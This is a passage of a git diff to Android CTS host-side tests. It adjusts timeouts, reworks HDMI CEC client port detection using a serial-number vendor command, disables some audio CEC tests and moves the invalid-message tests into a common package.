                 DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
     }
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 4c5659b..3270ef2 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -39,7 +39,7 @@
  */
 public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
     /** How long should we wait for the component state to change. */
-    private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+    private static final int COMPONENT_STATE_TIMEOUT_MS = 5000;
     /** How often to check component state. */
     private static final int POLL_TIME_MS = 400;
     /** Activity that handles Bluetooth sharing. */
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index c40dade..3c2440d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -196,9 +196,6 @@
         removeOrgOwnedProfile();
         assertHasNoUser(mUserId);
 
-        // Make sure the user restrictions are removed before continuing
-        waitForBroadcastIdle();
-
         // User restrictions are not persist after organization-owned profile owner is removed
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testUserRestrictionDisallowConfigDateTimeIsNotPersisted", mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
index 71566d0..88286f3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
@@ -24,7 +24,7 @@
 
 /**
  * Wrapper over <code>DevicePolicyEvent</code> atom as defined in
- * <code>frameworks/base/cmds/statsd/src/atoms.proto</code>.
+ * <code>frameworks/proto_logging/stats/atoms.proto</code>.
  * @see Builder
  */
 public final class DevicePolicyEventWrapper {
diff --git a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
index 88a3179..70f694d 100644
--- a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
+++ b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
@@ -45,7 +45,7 @@
 @RunWith(AndroidJUnit4.class)
 public class HarmfulAppWarningDeviceTest {
 
-    private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(1);
+    private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(3);
 
     private static final String ACTION_ACTIVITY_STARTED =
             "android.harmfulappwarning.sampleapp.ACTIVITY_STARTED";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 1e98316..025f2d1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -71,7 +71,7 @@
         hdmiCecClient.setTargetLogicalAddress(mDutLogicalAddress);
         boolean startAsTv =
                 mDutLogicalAddress.getDeviceType() != HdmiCecConstants.CEC_DEVICE_TYPE_TV;
-        hdmiCecClient.init(startAsTv);
+        hdmiCecClient.init(startAsTv, getDevice());
     }
 
     /** Class with predefined rules which can be used by HDMI CEC CTS tests. */
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 809461b..0f720b0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -141,7 +141,7 @@
     /** Assert for the DUT's physical address with the value passed from command line argument. */
     public static void assertPhysicalAddressValid(String message, int expectedPhysicalAddress) {
         int physicalAddress = getParams(message, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
-        assertThat(expectedPhysicalAddress).isEqualTo(physicalAddress);
+        assertThat(physicalAddress).isEqualTo(expectedPhysicalAddress);
     }
 
     private static String getNibbles(String message) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index dacac2a..b926001 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -16,6 +16,7 @@
 
 package android.hdmicec.cts;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.util.RunUtil;
 
@@ -25,9 +26,9 @@
 import java.io.BufferedWriter;
 import java.io.InputStreamReader;
 import java.io.OutputStreamWriter;
-import java.util.concurrent.TimeUnit;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
@@ -35,7 +36,6 @@
 /** Class that helps communicate with the cec-client */
 public final class HdmiCecClientWrapper extends ExternalResource {
 
-    private static final String CEC_CONSOLE_READY = "waiting for input";
     private static final int MILLISECONDS_TO_READY = 10000;
     private static final int DEFAULT_TIMEOUT = 20000;
     private static final int BUFFER_SIZE = 1024;
@@ -48,6 +48,7 @@
     private LogicalAddress selfDevice = LogicalAddress.RECORDER_1;
     private LogicalAddress targetDevice = LogicalAddress.UNKNOWN;
     private String clientParams[];
+    private StringBuilder sendVendorCommand = new StringBuilder("cmd hdmi_control vendorcommand ");
 
     public HdmiCecClientWrapper(String ...clientParams) {
         this.clientParams = clientParams;
@@ -56,15 +57,96 @@
     @Override
     protected void after() {
         this.killCecProcess();
-    };
-
+    }
 
     void setTargetLogicalAddress(LogicalAddress dutLogicalAddress) {
         targetDevice = dutLogicalAddress;
     }
 
+    List<String> getValidCecClientPorts() throws Exception {
+
+        List<String> listPortsCommand = new ArrayList();
+
+        listPortsCommand.add("cec-client");
+        listPortsCommand.add("-l");
+
+        List<String> comPorts = new ArrayList();
+        Process cecClient = RunUtil.getDefault().runCmdInBackground(listPortsCommand);
+        BufferedReader inputConsole =
+                new BufferedReader(new InputStreamReader(cecClient.getInputStream()));
+        while (cecClient.isAlive()) {
+            if (inputConsole.ready()) {
+                String line = inputConsole.readLine();
+                if (line.toLowerCase().contains("com port")) {
+                    String port = line.split(":")[1].trim();
+                    comPorts.add(port);
+                }
+            }
+        }
+        inputConsole.close();
+        cecClient.waitFor();
+
+        return comPorts;
+    }
+
+    boolean initValidCecClient(
+            ITestDevice device, List<String> clientCommands, List<String> comPorts)
+            throws Exception {
+        String serialNo = device.getProperty("ro.serialno");
+        String serialNoParam = CecMessage.convertStringToHexParams(serialNo);
+        /* formatParams prefixes with a ':' that we do not want in the vendorcommand
+         * command line utility.
+         */
+        serialNoParam = serialNoParam.substring(1);
+        /* Logic below needs to be consistent with the app, see
+         * hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
+         */
+        LogicalAddress toDevice =
+                (targetDevice == LogicalAddress.TV) ? LogicalAddress.PLAYBACK_1 : LogicalAddress.TV;
+        sendVendorCommand.append(" -t " + targetDevice.toString());
+        sendVendorCommand.append(" -d " + toDevice.toString());
+        sendVendorCommand.append(" -a " + serialNoParam);
+        for (String port : comPorts) {
+            List<String> launchCommand = new ArrayList(clientCommands);
+            launchCommand.add(port);
+            mCecClient = RunUtil.getDefault().runCmdInBackground(launchCommand);
+            mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+
+            /* Wait for the client to become ready */
+            if (checkConsoleOutput(
+                    CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
+                try {
+                    device.executeShellCommand(sendVendorCommand.toString());
+                    String message = checkExpectedOutput(toDevice, CecOperand.VENDOR_COMMAND);
+                    if (CecMessage.getAsciiString(message).equalsIgnoreCase(serialNo)) {
+                        /* If no Exception was thrown, then we have received the message we were
+                         * looking for.
+                         */
+                        mOutputConsole =
+                                new BufferedWriter(
+                                        new OutputStreamWriter(mCecClient.getOutputStream()),
+                                        BUFFER_SIZE);
+                        return true;
+                    }
+                } catch (Exception e) {
+                    /* Did not find the expected output, because we do not have a match with the
+                     * port. Don't fail test, continue checking the other ports.
+                     */
+                    mInputConsole.close();
+                }
+            } else {
+                CLog.e("Console did not get ready!");
+            }
+            /* Kill the unwanted cec-client process. */
+            Process killProcess = mCecClient.destroyForcibly();
+            killProcess.waitFor();
+            launchCommand.remove(port);
+        }
+        return false;
+    }
+
     /** Initialise the client */
-    void init(boolean startAsTv) throws Exception {
+    void init(boolean startAsTv, ITestDevice device) throws Exception {
         if (targetDevice == LogicalAddress.UNKNOWN) {
             throw new IllegalStateException("Missing logical address of the target device.");
         }
@@ -72,6 +154,7 @@
         List<String> commands = new ArrayList();
 
         commands.add("cec-client");
+
         /* "-p 2" starts the client as if it is connected to HDMI port 2, taking the physical
          * address 2.0.0.0 */
         commands.add("-p");
@@ -83,20 +166,14 @@
         }
         commands.addAll(Arrays.asList(clientParams));
 
-        mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
-        mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+        List<String> comPorts = getValidCecClientPorts();
 
-        /* Wait for the client to become ready */
         mCecClientInitialised = true;
-        if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
-            mOutputConsole = new BufferedWriter(
-                                new OutputStreamWriter(mCecClient.getOutputStream()), BUFFER_SIZE);
-            return;
+        if (!initValidCecClient(device, commands, comPorts)) {
+            mCecClientInitialised = false;
+
+            throw (new Exception("Could not initialise cec-client process"));
         }
-
-        mCecClientInitialised = false;
-
-        throw (new Exception("Could not initialise cec-client process"));
     }
 
     private void checkCecClient() throws Exception {
@@ -141,7 +218,6 @@
             CecOperand message, String params) throws Exception {
         checkCecClient();
         String sendMessageString = "tx " + source + destination + ":" + message + params;
-        CLog.e("Sending message: " + sendMessageString);
         mOutputConsole.write(sendMessageString);
         mOutputConsole.newLine();
         mOutputConsole.flush();
@@ -247,7 +323,7 @@
                 "(" + source + "\\p{XDigit}):(.*)",
             Pattern.CASE_INSENSITIVE);
 
-        while ((endTime - startTime <= duration)) {
+        while ((endTime - startTime <= (duration * 1000))) {
             if (mInputConsole.ready()) {
                 String line = mInputConsole.readLine();
                 if (pattern.matcher(line).matches()) {
@@ -389,7 +465,7 @@
             }
         } catch (Exception e) {
             /* If cec-client is not running, do not throw an exception, just return. */
-            CLog.w("Unable to close cec-client", e);
+            CLog.w(new Exception("Unable to close cec-client", e));
         }
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index c6f8c09..a8e43d3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -29,12 +29,14 @@
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC test to test audio return channel control (Section 11.2.17) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 6b349e3..2b43cec 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -33,12 +33,14 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
 
@@ -100,64 +102,6 @@
     }
 
     /**
-     * Test 12-1
-     * Tests that the device ignores every broadcast only message that is received as
-     * directly addressed.
-     */
-    @Test
-    public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
-        /* <Set Menu Language> */
-        assumeTrue(isLanguageEditable());
-        final String locale = getSystemLocale();
-        final String originalLanguage = extractLanguage(locale);
-        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
-        try {
-            hdmiCecClient.sendCecMessage(
-                    LogicalAddress.TV,
-                    AUDIO_DEVICE,
-                    CecOperand.SET_MENU_LANGUAGE,
-                    CecMessage.convertStringToHexParams(language));
-            assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
-        } finally {
-            // If the language was incorrectly changed during the test, restore it.
-            setSystemLocale(locale);
-        }
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GET_CEC_VERSION> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GET_CEC_VERSION);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.CEC_VERSION);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_PHYSICAL_ADDRESS> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
-        throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_PHYSICAL_ADDRESS);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.BROADCAST,
-                CecOperand.REPORT_PHYSICAL_ADDRESS);
-    }
-
-    /**
      * Test 12-2
      * Tests that the device ignores directly addressed message <GIVE_AUDIO_STATUS> if received as
      * a broadcast message
@@ -175,55 +119,6 @@
 
     /**
      * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_POWER_STATUS> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_POWER_STATUS);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.REPORT_POWER_STATUS);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_DEVICE_VENDOR_ID> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
-        throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_DEVICE_VENDOR_ID);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.BROADCAST,
-                CecOperand.DEVICE_VENDOR_ID);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_OSD_NAME> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_OSD_NAME);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.SET_OSD_NAME);
-    }
-
-    /**
-     * Test 12-2
      * Tests that the device ignores directly addressed message <GIVE_SYSTEM_AUDIO_MODE_STATUS> if
      * received as a broadcast message
      */
@@ -308,27 +203,4 @@
                 LogicalAddress.BROADCAST,
                 CecOperand.TERMINATE_ARC);
     }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <USER_CONTROL_PRESSED> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
-        throws Exception {
-        ITestDevice device = getDevice();
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND);
-        hdmiCecClient.sendUserControlPressAndRelease(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                HdmiCecConstants.CEC_CONTROL_UP,
-                false);
-        LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
-    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 5ee1045..151f5e0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -30,12 +30,14 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC test to verify logical address after device reboot (Section 10.2.5) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index 38eade7..51f7351 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -27,11 +27,13 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 9733e34..b284215 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -35,6 +35,7 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
@@ -47,6 +48,7 @@
 import java.util.stream.IntStream;
 
 /** HDMI CEC test to test system audio mode (Section 11.2.15) */
+@Ignore("b/162820841")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemAudioModeTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
new file mode 100644
index 0000000..b36bcac
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogHelper;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
+
+    private static final String PROPERTY_LOCALE = "persist.sys.locale";
+
+    /** The package name of the APK. */
+    private static final String PACKAGE = "android.hdmicec.app";
+
+    /** The class name of the main activity in the APK. */
+    private static final String CLASS = "HdmiCecKeyEventCapture";
+
+    /** The command to launch the main activity. */
+    private static final String START_COMMAND =
+            String.format(
+                    "am start -W -a android.intent.action.MAIN -n %s/%s.%s",
+                    PACKAGE, PACKAGE, CLASS);
+
+    /** The command to clear the main activity. */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    private LogicalAddress source;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    private String getSystemLocale() throws Exception {
+        ITestDevice device = getDevice();
+        return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
+    }
+
+    private void setSystemLocale(String locale) throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("setprop " + PROPERTY_LOCALE + " " + locale);
+    }
+
+    private boolean isLanguageEditable() throws Exception {
+        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+        return val.trim().equals("true") ? true : false;
+    }
+
+    private static String extractLanguage(String locale) {
+        return locale.split("[^a-zA-Z]")[0];
+    }
+
+    @Before
+    public void setup() {
+        source =
+                (mDutLogicalAddress.equals(LogicalAddress.TV))
+                        ? LogicalAddress.RECORDER_1
+                        : LogicalAddress.TV;
+    }
+
+    /**
+     * Test 12-1
+     *
+     * <p>Tests that the device ignores every broadcast only message that is received as directly
+     * addressed.
+     */
+    @Test
+    public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
+        /* <Set Menu Language> */
+        assumeTrue("Language should be editable for this test", isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+        try {
+            hdmiCecClient.sendCecMessage(
+                    source,
+                    mDutLogicalAddress,
+                    CecOperand.SET_MENU_LANGUAGE,
+                    CecMessage.convertStringToHexParams(language));
+            assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
+        } finally {
+            // If the language was incorrectly changed during the test, restore it.
+            setSystemLocale(locale);
+        }
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GET_CEC_VERSION>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
+        hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GET_CEC_VERSION);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.CEC_VERSION);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_PHYSICAL_ADDRESS>}
+     * if received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_PHYSICAL_ADDRESS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_POWER_STATUS>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_POWER_STATUS);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.REPORT_POWER_STATUS);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_DEVICE_VENDOR_ID>}
+     * if received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
+            throws Exception {
+        hdmiCecClient.sendCecMessage(
+                source, LogicalAddress.BROADCAST, CecOperand.GIVE_DEVICE_VENDOR_ID);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.DEVICE_VENDOR_ID);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <GIVE_OSD_NAME>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
+        hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
+        hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.SET_OSD_NAME);
+    }
+
+    /**
+     * Test 12-2
+     *
+     * <p>Tests that the device ignores directly addressed message {@code <USER_CONTROL_PRESSED>} if
+     * received as a broadcast message
+     */
+    @Test
+    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
+            throws Exception {
+        ITestDevice device = getDevice();
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        hdmiCecClient.sendUserControlPressAndRelease(
+                source, LogicalAddress.BROADCAST, HdmiCecConstants.CEC_CONTROL_UP, false);
+        LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
similarity index 69%
rename from hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
rename to hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
index 40b2d37..1c3e85a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
@@ -14,18 +14,15 @@
  * limitations under the License.
  */
 
-package android.hdmicec.cts.playback;
+package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
